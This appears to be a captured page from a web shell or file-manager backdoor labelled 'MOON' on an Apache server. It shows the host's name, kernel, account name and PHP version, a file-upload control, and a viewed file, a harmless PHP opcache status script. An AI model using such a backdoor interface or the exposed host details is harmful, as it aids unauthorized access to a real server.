MOON
Server: Apache
System: Linux ip-208-109-13-31.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els4.x86_64 #1 SMP Sat Aug 31 06:58:57 UTC 2024 x86_64
User: durgeshpandey215 (1013)
PHP: 8.1.29
Disabled: NONE
Upload Files
File: //lib/fm-agent/extras/opcache.php
<?php
class OpCacheDataModel
{
        public function getStatusDataRows(){
        $stats = opcache_get_status();
        foreach ($stats as $key=>$val) {
                if (is_array($val)) {
                        foreach ($val as $k=>$v) {
                        echo $k;
                        echo ':';
                        echo $v;
                        echo ';';
                        }
                }
        }}
}
$dataModel = new OpCacheDataModel();

echo $dataModel->getStatusDataRows();
?>